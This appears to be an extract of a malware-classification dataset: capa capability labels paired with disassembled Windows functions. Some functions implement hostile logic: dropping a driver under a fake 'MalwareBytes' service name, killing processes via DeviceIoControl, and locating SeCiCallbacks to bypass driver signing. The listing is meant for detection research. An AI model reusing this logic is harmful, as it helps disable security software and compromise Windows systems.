joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140080500
Capabilities:
Create new key via cryptacquirecontext
Hash data via wincrypt
Initialize hashing via wincrypt

Disassembly:
push rbp
push rsi
push rdi
sub rsp, 0x50
mov rax, qword [0x1400ae718]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov rbp, r8
mov dword [rsp + 0x20], 0xf0000040
mov rsi, rdx
mov rdi, rcx
xor r8d, r8d
lea rcx, [rsp + 0x38]
xor edx, edx
mov r9d, 0x18
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
jne 0x14008054c
mov eax, 0x1b
jmp 0x14008061e
mov rcx, qword [rsp + 0x38]
lea rax, [rsp + 0x40]
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov edx, 0x800c
call qword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
jne 0x140080590
mov rcx, qword [rsp + 0x38]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov eax, 2
mov qword [rsp + 0x38], 0
jmp 0x14008061e
mov rcx, rbp
call fcn.14003f110
mov rcx, qword [rsp + 0x40]
xor r9d, r9d
mov r8d, eax
mov rdx, rsi
call qword [sym.imp.ADVAPI32.dll_CryptHashData]
mov rcx, qword [rsp + 0x40]
lea r9, [rsp + 0x30]
xor r8d, r8d
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x20], 0
lea edx, [r8 + 2]
call qword [sym.imp.ADVAPI32.dll_CryptGetHashParam]
cmp dword [rsp + 0x30], 0x20
jne 0x1400805fa
mov rcx, qword [rsp + 0x40]
lea r9, [rsp + 0x30]
mov r8, rdi
mov dword [rsp + 0x20], 0
mov edx, 2
call qword [sym.imp.ADVAPI32.dll_CryptGetHashParam]
mov rcx, qword [rsp + 0x40]
test rcx, rcx
je 0x14008060a
call qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
mov rcx, qword [rsp + 0x38]
test rcx, rcx
je 0x14008061c
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.140084990
add rsp, 0x50
pop rdi
pop rsi
pop rbp
ret

Function at 0x1400813d0
Capabilities:
Encode data using xor

Disassembly:
mov r10, rcx
test rdx, rdx
je 0x140081435
nop dword [rax + rax]
movzx r8d, byte [r10]
lea r10, [r10 + 1]
movzx eax, r8b
movzx r9d, r8b
shr r9b, 1
and al, 0xfe
not r9b
movzx eax, al
xor r9b, r8b
shr r9b, 1
xor r9b, r8b
shr r9b, 1
xor r9b, r8b
shr r9b, 1
xor r9b, r8b
shr r9b, 1
xor r9b, r8b
shr r9b, 1
xor r9b, r8b
or r8b, 1
test r9b, 2
movzx ecx, r8b
cmove ecx, eax
mov byte [r10 - 1], cl
sub rdx, 1
jne 0x1400813e0
ret
Function at 0x140085580
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400855ca
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400855ca
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400855ca
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400855ca
cmp dword [rcx + 0x84], 0xe
jbe 0x1400855ca
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400855cc
xor al, al
add rsp, 0x28
ret
Function at 0x1400057d0
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x1400055fc
Function at 0x2032d16ef
Capabilities:
Enumerate processes

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x398
xor edx, edx
xor ebx, ebx
mov dword [rsp + 0x48], edx
mov rbp, rcx
mov dword [rsp + 0x4c], edx
lea rcx, [0x2032da062]
mov dword [rsp + 0x50], edx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea rdx, str.DeviceIoControl
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor edx, edx
mov ecx, 2
mov rdi, rax
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
cmp rax, 0xffffffffffffffff
mov rsi, rax
je 0x2032d1814
lea r12, [rsp + 0x158]
mov rcx, rax
mov dword [rsp + 0x158], 0x238
mov rdx, r12
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
mov ebx, eax
je 0x2032d180b
lea r14, [rsp + 0x184]
xor ebx, ebx
lea r13, [rsp + 0x54]
lea r15, [0x2032da060]
mov r8d, 0x104
mov rdx, r14
mov rcx, r13
call sub.msvcrt.dll_wcstombs
mov rcx, r13
call fcn.2032d1697
test eax, eax
je 0x2032d17fc
mov eax, dword [rsp + 0x160]
mov dword [rsp + 0x28], 4
mov r9d, 4
mov rcx, rbp
lea r8, [rsp + 0x48]
mov edx, 0x80002048
mov dword [rsp + 0x48], eax
xor eax, eax
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x4c]
mov qword [rsp + 0x20], rax
call rdi
test eax, eax
jne 0x2032d17fa
mov rcx, r15
call fcn.2032d1620
jmp 0x2032d17fc
inc ebx
mov rdx, r12
mov rcx, rsi
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x2032d178c
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
add rsp, 0x398
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
Function at 0x2032d182a
Capabilities:
Link many functions at runtime
Start service

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0xa8
mov rdi, qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rbp, rcx
lea rcx, str.advapi32.dll
call rdi
mov rsi, qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.OpenSCManagerW
mov rcx, rax
call rsi
lea rcx, str.advapi32.dll
mov r14, rax
call rdi
lea rdx, str.OpenServiceA
mov rcx, rax
call rsi
lea rcx, str.advapi32.dll
mov r15, rax
call rdi
lea rdx, str.QueryServiceStatus
mov rcx, rax
call rsi
lea rcx, str.advapi32.dll
mov r13, rax
call rdi
lea rdx, str.StartServiceA
mov rcx, rax
call rsi
lea rcx, str.advapi32.dll
mov r12, rax
call rdi
lea rdx, str.CloseServiceHandle
mov rcx, rax
call rsi
lea rcx, str.advapi32.dll
mov rbx, rax
call rdi
lea rdx, str.CreateServiceA
mov rcx, rax
call rsi
xor edx, edx
xor ecx, ecx
mov r8d, 0xf003f
mov rdi, rax
call r14
test rax, rax
mov rsi, rax
je 0x2032d19a4
mov rcx, rax
mov rdx, qword [str.MalwareBytes]
mov r8d, 0xf01ff
call r15
test rax, rax
mov rcx, rax
je 0x2032d194c
lea rdx, [rsp + 0x84]
mov qword [rsp + 0x78], rax
call r13
mov rcx, qword [rsp + 0x78]
test eax, eax
je 0x2032d19c4
cmp dword [rsp + 0x88], 1
jne 0x2032d19c8
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x78], rcx
call r12
jmp 0x2032d19bb
mov rdx, qword [str.MalwareBytes]
xor eax, eax
xor ecx, ecx
mov qword [rsp + 0x38], rbp
mov dword [rsp + 0x30], ecx
mov r9d, 0xf01ff
mov rcx, rsi
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x50], rax
mov r8, rdx
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x28], 3
mov dword [rsp + 0x20], 1
call rdi
test rax, rax
mov rcx, rax
jne 0x2032d19ab
mov rcx, rsi
call rbx
mov eax, 1
jmp 0x2032d19d1
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x78], rax
call qword [sym.imp.ADVAPI32.dll_StartServiceA]
test eax, eax
mov rcx, qword [rsp + 0x78]
jne 0x2032d19c8
call rbx
jmp 0x2032d199f
call rbx
mov rcx, rsi
call rbx
xor eax, eax
add rsp, 0xa8
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
Function at 0x2032d19e5
Capabilities:
Extract resource via kernel32 functions
Write file on windows

Disassembly:
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x290
lea r13, [0x2032da062]
mov r12, qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea r14, str.MBCheck.sys
mov rbx, rcx
mov rcx, r13
call r12
mov rsi, qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.DeviceIoControl
mov rcx, rax
call rsi
mov rcx, r13
mov rdi, rax
call r12
lea rdx, str.FindFirstFileA
mov rcx, rax
call rsi
mov rcx, r13
mov rbp, rax
call r12
lea rdx, str.CreateFileW
mov rcx, rax
call rsi
lea rcx, str.kernel32.dll
call fcn.2032d1370
lea rcx, str.ntdll.dll
call fcn.2032d1370
lea rcx, str.kernelbase.dll
call fcn.2032d1370
call qword [sym.imp.KERNEL32.dll_FreeConsole]
lea r8, str.BINARY
mov rcx, rbx
mov edx, 0x64
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rcx, rbx
mov rsi, rax
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rdx, rsi
mov rcx, rbx
mov r12, rax
call qword [sym.imp.KERNEL32.dll_SizeofResource]
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
mov esi, eax
mov qword [rsp + 0x30], r9
mov rcx, r14
xor r9d, r9d
mov r13, qword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 2
call r13
xor r10d, r10d
xor r11d, r11d
mov rdx, r12
mov rbx, rax
mov dword [rsp + 0x44], r10d
mov r8d, esi
mov rcx, rax
mov qword [rsp + 0x20], r11
lea r9, [rsp + 0x44]
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
mov r12, qword [sym.imp.KERNEL32.dll_CloseHandle]
call r12
lea rdx, [rsp + 0x150]
mov rcx, r14
call rbp
lea rbx, [rsp + 0x4c]
inc rax
je 0x2032d1b4d
lea rcx, [rsp + 0x17c]
xor r9d, r9d
mov r8, rbx
mov edx, 0x104
call qword [sym.imp.KERNEL32.dll_GetFullPathNameA]
lea rsi, [0x2032da060]
mov rcx, rsi
call fcn.2032d1620
mov rcx, rsi
call fcn.2032d1620
mov rcx, rbx
call fcn.2032d182a
test eax, eax
je 0x2032d1b78
mov rcx, rsi
call fcn.2032d1620
xor r8d, r8d
xor r9d, r9d
mov dword [rsp + 0x28], pe_nt_image_headers64
mov edx, 0xc0000000
mov qword [rsp + 0x30], r8
lea rcx, str.._amsdk
xor r8d, r8d
mov dword [rsp + 0x20], 3
call r13
cmp rax, 0xffffffffffffffff
mov rbx, rax
je 0x2032d1c1c
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
xor edx, edx
xor ecx, ecx
mov r9d, 4
mov dword [rsp + 0x48], eax
lea r8, [rsp + 0x48]
xor eax, eax
mov dword [rsp + 0x28], edx
mov edx, 0x80002010
mov qword [rsp + 0x20], rcx
mov rcx, rbx
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rax
call rdi
test eax, eax
jne 0x2032d1bf8
mov rcx, rsi
call fcn.2032d1620
mov rcx, rbx
call r12
mov rdi, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rsi, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rbx
call fcn.2032d16ef
call rdi
mov edx, 0x3e8
mov rcx, rax
call rsi
jmp 0x2032d1c06
mov rcx, rsi
call fcn.2032d1620
or eax, 0xffffffff
add rsp, 0x290
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
ret
Function at 0x2032d1c39
Capabilities:
Create thread

Disassembly:
sub rsp, 0x38
dec edx
jne 0x2032d1c63
call sym.kil_only.dll_ibmMain
xor edx, edx
xor ecx, ecx
xor r9d, r9d
mov qword [rsp + 0x28], rdx
movsxd r8, eax
xor edx, edx
mov dword [rsp + 0x20], ecx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov eax, 1
add rsp, 0x38
ret

Function at 0x2032d1e10
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.2032d7960
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.2032d7960
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]

Function at 0x2032d1e80
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x2032de064]
test esi, esi
mov rbx, rcx
jle 0x2032d1fb0
mov rax, qword [0x2032de068]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x2032d1ecb
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x2032d1f55
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x2032d1eb0
mov rcx, rbx
call fcn.2032d26e0
test rax, rax
mov rdi, rax
je 0x2032d1fd2
mov rax, qword [0x2032de068]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.2032d2820
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x2032de068]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x2032d1fb7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x2032d1f4e
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x2032d1f60
add dword [0x2032de064], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov r8d, 0x40
mov eax, 4
mov rcx, qword [rsp + 0x20]
cmove r8d, eax
mov rdx, qword [rsp + 0x38]
add rbx, qword [0x2032de068]
mov r9, rbx
mov qword [rbx + 8], rcx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x2032d1f4e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.2032d1e10
nop dword [rax]
xor esi, esi
jmp 0x2032d1ed8
mov rax, qword [0x2032de068]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov edx, dword [rdi + 8]
mov r8, qword [rax + rbx + 0x18]
call fcn.2032d1e10
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call fcn.2032d1e10
nop
nop word cs:[rax + rax]
nop dword [rax]
Function at 0x2032d2350
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x2032de0a0]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x2032de080]
test rbx, rbx
je 0x2032d23ac
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x2032d23a3
test rsi, rsi
je 0x2032d23a3
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x2032d2388
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x2032d26e0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x2032db5a0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x2032d2700
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x2032d2708
ret
cmp word [r8 + 0x18], 0x20b
jne 0x2032d2700
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x2032d275d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x2032d2754
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x2032d2700
add rax, 0x28
cmp rax, r9
jne 0x2032d2740
xor eax, eax
ret

Function at 0x2032d2760
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x2032db5a0]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x2032d277f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x2032d2788
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x2032d277f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x2032d2820
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x2032db5a0]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x2032d283f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x2032d2848
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret
Function at 0x140001490
Capabilities:
Get system information on windows
Load ntoskrnl
Make suspicious ntquerysysteminformation call

Disassembly:
mov qword [rsp + 0x18], rbx
push rsi
push rdi
push r14
sub rsp, 0x30
mov r14, rcx
lea rcx, str.____Searching_pattern..._n
call fcn.140001000
xor edi, edi
mov dword [rsp + 0x50], 0
lea r9, [rsp + 0x50]
xor r8d, r8d
xor edx, edx
lea ecx, [rdi + 0xb]
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
jne 0x140001519
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov edx, dword [rsp + 0x50]
xor ecx, ecx
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8d, dword [rsp + 0x50]
lea r9, [rsp + 0x50]
mov rdx, rax
mov ecx, 0xb
mov rdi, rax
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
je 0x1400014d0
test eax, eax
jns 0x140001532
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor esi, esi
jmp 0x140001592
xor ebx, ebx
mov qword [rsp + 0x58], rbp
cmp dword [rdi], ebx
jbe 0x14000157a
lea rsi, [rdi + 0x2e]
movzx ecx, word [rsi]
lea rdx, [0x1400031e0]
add rcx, 0x30
movsxd rax, ebx
imul rbp, rax, 0x128
add rcx, rbp
add rcx, rdi
call qword [sym.imp.ntdll.dll__stricmp]
test eax, eax
je 0x1400015fc
inc ebx
add rsi, 0x128
cmp ebx, dword [rdi]
jb 0x140001541
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor esi, esi
mov rbp, qword [rsp + 0x58]
xor edx, edx
lea rcx, str.ntoskrnl.exe
lea r8d, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov dword [rsp + 0x20], 0xd38b48ff
xor ebx, ebx
mov rdi, rax
mov word [rsp + 0x24], 0x8d4c
mov byte [rsp + 0x26], 5
mov r10d, 0x1000000
lea r9, [rax + 4]
nop dword [rax + rax]
xor ecx, ecx
lea rax, [rsp + 0x24]
mov r8, r9
lea rdx, [rsp + 0x20]
sub r8, rax
movzx eax, byte [r8 + rdx]
cmp byte [rdx], al
jne 0x14000161a
cmp ecx, 6
je 0x140001617
inc ecx
inc rdx
cmp ecx, 7
jb 0x1400015e2
jmp 0x14000161a
mov rsi, qword [rdi + rbp + 0x18]
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x14000158d
mov rbx, r9
inc r9
sub r10, 1
jne 0x1400015d0
test rbx, rbx
jne 0x140001636
lea rcx, str.____Couldnt_find_lea_r8___nt_SeCiCallbacks_
call fcn.140001000
jmp 0x140001645
mov rdx, rbx
lea rcx, str.___Instr_:__p_n
call fcn.140001000
mov eax, dword [rbx + 3]
lea rcx, str.___usermode_CiCallbacks_:__p_n
add rax, 7
add rbx, rax
mov rdx, rbx
call fcn.140001000
sub rbx, rdi
lea rcx, str.___Offset__:__x_n
mov rdx, rbx
call fcn.140001000
add rbx, rsi
lea rcx, str.___KernelAddress_:__p_n
mov rdx, rbx
call fcn.140001000
lea rdx, str.ZwFlushInstructionCache
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [rbx + 0x20]
sub rsi, rdi
mov rbx, qword [rsp + 0x60]
add rax, rsi
mov qword [r14 + 8], rax
mov rax, r14
mov qword [r14], rcx
add rsp, 0x30
pop r14
pop rdi
pop rsi
ret
Function at 0x140001ba0
Capabilities:
Set registry value

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov byte [rax + 0x18], r8b
push rdi
sub rsp, 0x660
xor r8d, r8d
lea r9, [rax + 0x18]
mov rsi, rdx
mov rdi, rcx
mov dl, 1
lea ecx, [r8 + 0xa]
call qword [sym.imp.ntdll.dll_RtlAdjustPrivilege]
mov ebx, eax
test eax, eax
jns 0x140001be9
lea rcx, str.Fatal_error:_failed_to_acquire_SE_LOAD_DRIVER_PRIVILEGE._Make_sure_you_are_running_as_administrator._n
call fcn.140001000
mov eax, ebx
jmp 0x140001e21
xor ebx, ebx
lea r8, [rsp + 0x450]
xor r9d, r9d
mov qword [rsp + 0x20], rbx
mov edx, 0x208
mov rcx, rdi
call qword [sym.imp.ntdll.dll_RtlGetFullPathName_UEx]
test eax, eax
js 0x140001e21
xor r9d, r9d
mov qword [rsp + 0x20], rbx
lea r8, [rsp + 0x240]
mov edx, 0x208
mov rcx, rsi
call qword [sym.imp.ntdll.dll_RtlGetFullPathName_UEx]
test eax, eax
js 0x140001e21
lea rdx, [rsp + 0x240]
lea rcx, [section..data]
call fcn.1400016c0
lea rdx, [section..data]
xor ecx, ecx
call qword [sym.imp.ntdll.dll_RtlCreateRegistryKey]
test eax, eax
js 0x140001e21
lea r8, str.___
mov dword [rsp + 0x688], 1
lea edx, [rbx + 5]
lea rcx, [rsp + 0x30]
call qword [sym.imp.ntdll.dll_wcscpy_s]
lea r8, [rsp + 0x240]
mov edx, 0x87
lea rcx, [rsp + 0x30]
call qword [sym.imp.ntdll.dll_wcscat_s]
mov rbx, 0xffffffffffffffff
lea rcx, [rsp + 0x30]
mov rax, rbx
nop dword [rax]
cmp word [rcx + rax*2 + 2], 0
lea rax, [rax + 1]
jne 0x140001cb0
lea eax, [rax*2 + 2]
mov r9d, 1
mov dword [rsp + 0x28], eax
lea r8, str.ImagePath
lea rax, [rsp + 0x30]
xor ecx, ecx
lea rdx, [section..data]
mov qword [rsp + 0x20], rax
call qword [sym.imp.ntdll.dll_RtlWriteRegistryValue]
test eax, eax
js 0x140001e21
lea rax, [rsp + 0x688]
mov dword [rsp + 0x28], 4
mov r9d, 4
mov qword [rsp + 0x20], rax
lea r8, str.Type
xor ecx, ecx
lea rdx, [section..data]
call qword [sym.imp.ntdll.dll_RtlWriteRegistryValue]
test eax, eax
js 0x140001e21
lea rdx, [rsp + 0x450]
lea rcx, [0x140005210]
call fcn.1400016c0
lea rdx, [0x140005210]
xor ecx, ecx
call qword [sym.imp.ntdll.dll_RtlCreateRegistryKey]
mov edi, eax
test eax, eax
js 0x140001e1f
lea r8, str.___
mov dword [rsp + 0x688], 1
mov edx, 5
lea rcx, [rsp + 0x30]
call qword [sym.imp.ntdll.dll_wcscpy_s]
lea r8, [rsp + 0x450]
mov edx, 0x87
lea rcx, [rsp + 0x30]
call qword [sym.imp.ntdll.dll_wcscat_s]
lea rax, [rsp + 0x30]
nop word [rax + rax]
cmp word [rax + rbx*2 + 2], 0
lea rbx, [rbx + 1]
jne 0x140001da0
lea eax, [rbx*2 + 2]
mov r9d, 1
mov dword [rsp + 0x28], eax
lea r8, str.ImagePath
lea rax, [rsp + 0x30]
xor ecx, ecx
lea rdx, [0x140005210]
mov qword [rsp + 0x20], rax
call qword [sym.imp.ntdll.dll_RtlWriteRegistryValue]
mov edi, eax
test eax, eax
js 0x140001e1f
lea rax, [rsp + 0x688]
mov dword [rsp + 0x28], 4
mov r9d, 4
mov qword [rsp + 0x20], rax
lea r8, str.Type
xor ecx, ecx
lea rdx, [0x140005210]
call qword [sym.imp.ntdll.dll_RtlWriteRegistryValue]
mov edi, eax
test eax, eax
js 0x140001e1f
call fcn.140001760
mov eax, edi
lea r11, [rsp + 0x660]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret
Function at 0x140024dd0
Capabilities:
Validate payment card number using luhn algorithm

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov esi, edx
mov dword [rcx + 0x74], 0
mov rbx, rcx
mov edi, 0x7fffffff
movsx ecx, byte [rbx + 0x78]
lea eax, [rcx - 0x30]
cmp al, 9
ja 0x140024e9c
lea r8d, [rcx - 0x30]
cmp r8d, 0xffffffff
je 0x140024e9c
mov r9d, dword [rbx + 0x74]
mov ecx, 0x7fffffff
sub ecx, r8d
mov eax, 0x66666667
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
cmp r9d, edx
jg 0x140024eb5
lea eax, [r9 + r9*4]
dec edi
lea ecx, [r8 + rax*2]
mov rax, qword [rbx]
mov dword [rbx + 0x74], ecx
mov rcx, qword [rbx + 0x10]
cmp rax, rcx
je 0x140024e8c
cmp byte [rax], 0x5c
jne 0x140024e86
lea rdx, [rax + 1]
cmp rdx, rcx
je 0x140024e86
mov r8d, dword [rbx + 0x80]
test r8b, 8
jne 0x140024e72
movzx ecx, byte [rdx]
sub cl, 0x28
cmp cl, 1
jbe 0x140024e83
test r8b, 0x10
jne 0x140024e86
movzx ecx, byte [rdx]
sub cl, 0x7b
test cl, 0xfd
jne 0x140024e86
mov rax, rdx
inc rax
mov qword [rbx], rax
mov rcx, rbx
call fcn.140028a50
test edi, edi
jne 0x140024df0
mov rbx, qword [rsp + 0x30]
cmp edi, 0x7fffffff
mov rsi, qword [rsp + 0x38]
setne al
add rsp, 0x20
pop rdi
ret
mov edx, esi
mov rcx, rbx
call fcn.1400263c0
int3

Function at 0x1400294c0
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
movabs rax, 0xcbf29ce484222325
mov r9d, 0
sub r8, rdx
je 0x1400294f4
movabs r10, 0x100000001b3
nop
movzx ecx, byte [rdx + r9]
inc r9
xor rax, rcx
imul rax, r10
cmp r9, r8
jb 0x1400294e0
ret
Function at 0x14002c6f0
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push r14
sub rsp, 0x20
mov r14, r8
mov rsi, rdx
mov rbx, rcx
test r8, r8
jg 0x14002c721
xor eax, eax
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
cmp qword [rcx + 0x68], 0
mov qword [rsp + 0x30], rbp
mov qword [rsp + 0x38], rdi
je 0x14002c79b
mov rdi, r14
mov rcx, rbx
call fcn.140026d90
test rax, rax
jle 0x14002c773
cmp rdi, rax
mov rbp, rdi
mov rcx, rsi
cmovge rbp, rax
mov rax, qword [rbx + 0x38]
mov r8, rbp
mov rdx, qword [rax]
call fcn.1400a4290
mov rax, qword [rbx + 0x50]
sub rdi, rbp
sub dword [rax], ebp
mov rcx, qword [rbx + 0x38]
movsxd rax, ebp
add qword [rcx], rax
jmp 0x14002c78b
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 0x38]
cmp eax, 0xffffffff
je 0x14002c793
mov byte [rsi], al
dec rdi
mov ebp, 1
add rsi, rbp
test rdi, rdi
jg 0x14002c735
sub r14, rdi
jmp 0x14002c87f
mov rax, qword [rcx + 0x38]
mov rbp, r14
mov rdx, qword [rax]
test rdx, rdx
je 0x14002c7b2
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x14002c7b4
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x14002c7e6
cmp rax, r14
mov rdi, r14
mov rcx, rsi
cmovb rdi, rax
mov r8, rdi
call fcn.1400a4290
mov rax, qword [rbx + 0x50]
add rsi, rdi
sub rbp, rdi
sub dword [rax], edi
mov rcx, qword [rbx + 0x38]
movsxd rax, edi
add qword [rcx], rax
cmp qword [rbx + 0x80], 0
je 0x14002c87c
mov r8, qword [rbx + 0x18]
